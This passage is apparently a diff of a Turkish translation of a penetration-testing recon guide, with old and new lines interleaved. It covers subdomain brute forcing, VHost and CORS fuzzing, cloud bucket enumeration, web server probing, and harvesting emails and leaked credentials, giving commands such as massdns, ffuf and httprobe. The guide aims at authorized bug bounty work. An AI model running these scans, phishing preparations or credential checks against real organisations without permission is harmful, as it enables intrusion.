Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunmaktadır**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsama [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) üzerinden erişebilirsiniz.
Birçok bu tür aracın **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Kaba kuvvet**
### **DNS Kaba Kuvvet Saldırısı**
Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvetle tarayarak yeni **alt alan adları** bulmaya çalışalım.
Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvet saldırısı yaparak yeni **alt alan adları** bulmaya çalışalım.
Bu işlem için bazı **ortak alt alan adı kelime listelerine** ihtiyacınız olacak:
@ -357,11 +357,11 @@ Bu işlem için bazı **ortak alt alan adı kelime listelerine** ihtiyacınız o
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Ve ayrıca iyi DNS çözücülerin IP'leri. Güvenilir DNS çözücülerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözücüleri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Veya şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Ayrıca iyi DNS çözücülerin IP'leri de gereklidir. Güvenilir DNS çözücüler listesi oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözücüleri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Veya şu adresten yararlanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS kaba kuvvet için en çok önerilen araçlar:
DNS kaba kuvvet saldırıları için en çok önerilen araçlar:
* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet gerçekleştiren ilk araçtı. Çok hızlıdır ancak yanlış pozitiflere eğilimlidir.
* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere duyarlıdır.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -371,7 +371,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alanları numaralandırmanıza ve joker işareti işleme ve kolay giriş-çıkış desteği ile alt alanları çözmenize olanak tanıyan go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) aktif bruteforce kullanarak geçerli alt alanları numaralandırmanıza ve joker karakterleri ele alarak alt alanları çözmenize olanak tanıyan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır ve kolay giriş-çıkış desteği sağlar.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -385,14 +385,14 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### İkinci DNS Kaba Kuvvet Turu
ık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarından sonra, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır:
ık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarını kullanarak, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verilerek permutasyonlar oluşturur.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adlarını verilerek permütasyonlar oluşturur.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
* goaltdns permutasyonlarını [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
* goaltdns permutasyonlarını **wordlist**'i [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -411,23 +411,23 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak yeni potansiyel alt alan adı adları oluşturur.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, belirtilen desenlere göre yeni potansiyel alt alan adı adlarını oluşturur ve daha fazla alt alan adı keşfetmeye çalışır.
#### Akıllı permütasyon oluşturma
* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temel olarak **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak son derece basit bir DNS yanıt rehberli algoritmayla birleştirilmiş bir alt alan kaba kuvvet fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek için DNS taraması sırasında toplanan bilgilere dayalı olarak döngü içinde genişletir.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile birleştirilmiş bir alt alan kaba kuvvet fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak, daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır.
```
echo www | subzuf facebook.com
```
### **Alt Alan Adı Keşfi İş Akışı**
Bu blog yazımı kontrol et, alan adından **alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığına dair. Böylece bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmaz:
Bu blog yazımı kontrol et, burada bir alan adından **Trickest iş akışlarını kullanarak alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığı hakkında yazdım, böylece bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmaz:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -435,11 +435,11 @@ Bu blog yazımı kontrol et, alan adından **alt alan adı keşfini otomatikleş
### **VHosts / Sanal Sunucular**
Eğer bir IP adresi bulduysanız ve bu IP adresinde alt alan adlarına ait **bir veya birkaç web sayfası** bulunuyorsa, bu IP'de **diğer alt alan adlarını bulmaya çalışabilirsiniz**. Bunun için, IP'deki alan adlarını aramak için **OSINT kaynaklarına** bakabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**.
Eğer bir IP adresi bulduysanız ve bu IP adresi alt alan adlarına ait **bir veya birkaç web sayfası** içeriyorsa, bu IP'de **bu web sayfalarına sahip diğer alt alan adlarını bulmaya çalışabilirsiniz**. Bunun için, IP'deki **OSINT kaynaklarında** alan adları arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**.
#### OSINT
Bazı **VHost'ları IP'lerde bulabilirsiniz** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'ler kullanarak**.
Bazı **IP'lerdeki VHost'ları** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'lar kullanarak** bulabilirsiniz.
**Brute Force**
@ -461,35 +461,35 @@ VHostScan -t example.com
Bu teknikle, hatta dahili/gizli uç noktalara erişebilme olasılığınız bile olabilir.
{% endhint %}
### **CORS Kaba Kuvvet Saldırısı**
### **CORS Brute Force**
Bazı durumlarda, yalnızca geçerli bir alan/alt alan adı _**Origin**_ başlığında belirtildiğinde _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alan adlarını keşfedebilirsiniz**.
Bazı durumlarda, yalnızca geçerli bir alan/alt alan belirtildiğinde _**Origin**_ başlığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alanlar** **keşfedebilirsiniz**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Kovalama Yöntemleri**
**Alt alan adları** ararken, herhangi bir türde **bucket'a işaret edip etmediğini kontrol edin** ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**mümkün olan bucket adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/) deneyin.
**Alt alan adları** ararken, herhangi bir türde **bucket'a işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**mümkün olan bucket adlarını brute force edin ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
### **İzleme**
Bir alan adının **yeni alt alan adlarının oluşturulup oluşturulmadığını izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tarafından yapılan izleme ile.
Bir alan adının **yeni alt alan adlarının oluşturulup oluşturulmadığını izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) ile izleyerek.
### **Zaafiyet Arayışı**
Mümkün [**alt alan devralmalarını kontrol edin**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Eğer **alt alan**, bir **S3 bucket'a işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
Mümkün [**alt alan adı ele geçirmelerini kontrol edin**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Eğer **alt alan adı** bir **S3 bucket'a işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
Varlıkların keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alt alan adı bulursanız**, temel bir zafiyet taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, bu kitapta bu hizmetlere "saldırmak" için bazı ipuçları bulabilirsiniz.\
_Unutmayın ki bazen alt alan adı, müşteri tarafından kontrol edilmeyen bir IP içinde barındırılmış olabilir, bu nedenle kapsamda olmayabilir, dikkatli olun._
Varlık keşfinden zaten bulduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alt alan adı bulursanız**, bir **temel zafiyet taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve **bu kitapta onlara "saldırmak" için bazı hileler bulabilirsiniz**.\
_Not: Bazı durumlarda alt alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
## IP'ler
Başlangıç adımlarında **bazı IP aralıklarını, alan adlarını ve alt alan adlarını bulmuş olabilirsiniz**.\
Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları)** toplama zamanı geldi.
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alan adları bulmuş olabilirsiniz**.\
Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları) toplama zamanı geldi.**
Aşağıdaki **ücretsiz api'lerden hizmetler kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir)
Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve [**CloudFlare bypass'ları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir)
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -501,43 +501,43 @@ CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç
**Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.**
## Web sunucularının avlanması
## Web sunucuları avı
> Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi.
Önceki adımlarda muhtemelen **keşfedilen IP'lerin ve alan adlarının keşfini** yapmışsınız, bu nedenle muhtemelen **tüm olası web sunucularını zaten bulmuş olabilirsiniz**. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için bazı **hızlı ipuçları göreceğiz**.
Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının **keşfini zaten yapmış olabilirsiniz**, bu nedenle muhtemelen **tüm olası web sunucuları zaten bulmuş olabilirsiniz**. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için bazı **hızlı ipuçları göreceğiz**.
Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zafiyet** ve **port taraması** da yapmalısınız.
Lütfen, bu, **web uygulamalarının keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zafiyet** ve **port taraması** da yapmalısınız.
**Web** sunucularıyla ilgili **ık portları keşfetmek için hızlı bir yöntem** [**burada masscan** bulunabilir](../pentesting-network/#http-port-discovery).\
Başka bir dost araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx). Sadece bir alan adları listesi geçirin ve 80 (http) ve 443 (https) bağlanmaya çalışacaktır. Ayrıca, diğer portları denemek için belirtebilirsiniz:
[**masscan ile ilişkili ık portları keşfetmek için hızlı bir yöntem burada bulunabilir**](../pentesting-network/#http-port-discovery).\
Başka bir dostça araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx). Sadece bir alan adları listesi geçirin ve 80 (http) ve 443 (https) bağlanmaya çalışacaktır. Ayrıca, diğer portları denemek için belirtebilirsiniz:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Ekran Görüntüleri**
Şimdi kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. Sadece **ana sayfaya** bakarak daha **savunmasız** olma ihtimali daha yüksek olan **garip** uç noktaları bulabilirsiniz.
Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **savunmasız** olma ihtimali daha yüksek olan **garip** uç noktaları bulabilirsiniz.
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** kullanabilirsiniz**.
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'ı** kullanabilirsiniz.
Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** tarayarak size **olası savunmasızlıklar içerdiğini** ve içermediğini söyleyebilir.
Ayrıca, daha sonra tüm **ekran görüntülerini** çalıştırmak için [**eyeballer**](https://github.com/BishopFox/eyeballer)'ı kullanabilirsiniz, size **olası savunmasızlıklar içerdiğini** ve içermediğini söylemek için.
## Genel Bulut Varlıkları
Bir şirkete ait potansiyel bulut varlıklarını bulmak için o şirketi tanımlayan kelimeler listesiyle başlamalısınız. Örneğin, bir kripto şirketi için "kripto", "cüzdan", "dao", "<domain_adı>", <"altalan_adları"> gibi kelimeler kullanabilirsiniz.
Bir şirkete ait potansiyel bulut varlıklarını bulmak için o şirketi tanımlayan kelimeler listesiyle başlamalısınız. Örneğin, bir kripto şirketi için "kripto", "cüzdan", "dao", "<domain_adı>", <"alt_domain_adları"> gibi kelimeler kullanabilirsiniz.
Ayrıca, **kova**larda kullanılan yaygın kelimelerin listelerine ihtiyacınız olacak:
Ayrıca, **kova**'larda kullanılan **ortak kelimelerin** listelerine ihtiyacınız olacak:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Ardından, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) kontrol edin).
Ardından, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round)'a bakın).
Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz**.
Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **veya** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**'ı** gibi araçları kullanabilirsiniz.
Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısınız**.
Bulut Varlıkları ararken **AWS**'deki kovalardan daha fazlasını aramalısınız.
### **Savunmasızlıkları Arama**
@ -545,16 +545,16 @@ Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısı
## E-postalar
Kapsamdaki **alan adları** ve **alt alan adları** ile temelde e-postaları aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
Kapsamdaki **alan adları** ve **alt alan adları** ile temelde e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'larla
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si
* [**https://app.snov.io/**](https://app.snov.io/) (ücretsiz sürüm) API'si
* [**https://minelead.io/**](https://minelead.io/) (ücretsiz sürüm) API'si
### **Savunmasızlıkları Arama**
E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) kaba kuvvet saldırıları için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidir. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır.
E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) kaba kuvvet saldırısı yapmak için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidir. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır.
## Kimlik Bilgisi Sızıntıları
@ -565,37 +565,37 @@ E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (ö
### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanç olacaktır.
Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır.
## Sırların Sızıntıları
Kimlik bilgisi sızıntıları, **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirket hack'leri ile ilgilidir. Ancak, şirketler, o veritabanlarında olmayan başka sızıntılardan da etkilenebilir:
Kimlik bilgisi sızıntıları, şirketlerin **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirket hack'leri ile ilgilidir. Ancak, şirketler, o veritabanlarında olmayan başka sızıntılardan da etkilenebilir:
### Github Sızıntıları
Kimlik bilgileri ve API'lar **şirketin** veya o github şirketinde çalışan **kullanıcıların** **genel depolarında** sızdırılmış olabilir.\
Kimlik bilgileri ve API'lar, **şirketin** veya **github şirketi tarafından çalışan kullanıcıların** **genel depolarında** sızdırılmış olabilir.\
[**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** otomatik olarak üzerlerinde [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos** ayrıca bazen **web sayfaları da sırlar içerebildiği için** tüm **URL'leri** geçirerek **gitleaks** çalıştırmak için de kullanılabilir.
**Leakos**, bazen **web sayfalarının da sırlar içerdiği** için tüm **URL'leri** geçirilen **metinler** üzerinde **gitleaks** çalıştırmak için de kullanılabilir.
#### Github Dorks
Saldırganlar veya sadece çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olabilir.\
[**Pastos**](https://github.com/carlospolop/Pastos) aracını aynı anda 80'den fazla yapıştırma sitesinde aramak için kullanabilirsiniz.
Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde** yayınlar. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olabilir.\
[**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz.
### Google Dorks
Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'nin çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini seçebilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz**.
Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu nedenle, favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz**.
_Unutmayın, düzenli Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok uzun sürecek ve google sizi çok kısa sürede engelleyecektir._
_Not: Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok uzun sürecek ve google sizi çok kısa sürede engelleyecektir._
### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazanç olacaktır.
Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazançtır.
## Genel Kod Güvenlik Açıkları
## Genel Kod Savunmasızlıkları
Şirketin **açık kaynak kodu** olduğunu tespit ettiyseniz, onu **analiz edebilir** ve üzerinde **güvenlik açıkları** arayabilirsiniz.
Şirketin **açık kaynak kodu** olduğunu tespit ettiyseniz, bunu **analiz edebilir** ve üzerinde **savunmasızlıkları** arayabilirsiniz.
**Dile bağlı olarak** farklı **araçlar** kullanabilirsiniz:
@ -603,26 +603,26 @@ Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulu
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
Ayrıca, şunlar gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**:
Ayrıca, şunun gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**:
* [**Snyk**](https://app.snyk.io/)
## [**Web Uygulama Test Metodolojisi**](../../network-services-pentesting/pentesting-web/)
**Hata avcıları** tarafından bulunan **çoğu zayıflık**, **web uygulamalarının** içinde bulunur, bu noktada **web uygulama test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgilere buradan ulaşabilirsiniz**](../../network-services-pentesting/pentesting-web/).
**Bulunan zafiyetlerin çoğunluğu**, avcılar tarafından **web uygulamalarında** bulunur, bu noktada bir **web uygulama test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
Ayrıca, [**Web Otomatik Tarama Açık Kaynaklı Araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için işe yararlar.**
Ayrıca, [**Web Otomatik Tarayıcılar açık kaynaklı araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zafiyetleri bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.**
## Özet
> Tebrikler! Bu noktada **tüm temel numaralandırmayı** zaten gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz).
> Tebrikler! Bu noktada zaten **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz).
Şimdiye kadar şunları yaptınız:
1. Kapsam içindeki **tüm şirketleri** buldunuz
2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız)
2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zafiyet taraması yaptınız)
3. Şirketlere ait **tüm alan adlarını** buldunuz
4. Alan adlarının **tüm alt alan adlarını** buldunuz (herhangi bir alt alan adı ele geçirme?)
5. Kapsam içindeki **CDN'lerden ve CDN'lerden olmayan IP'leri** buldunuz.
4. Alan adlarına ait **tüm alt alan adlarını** buldunuz (herhangi bir alt alan adı ele geçirme?)
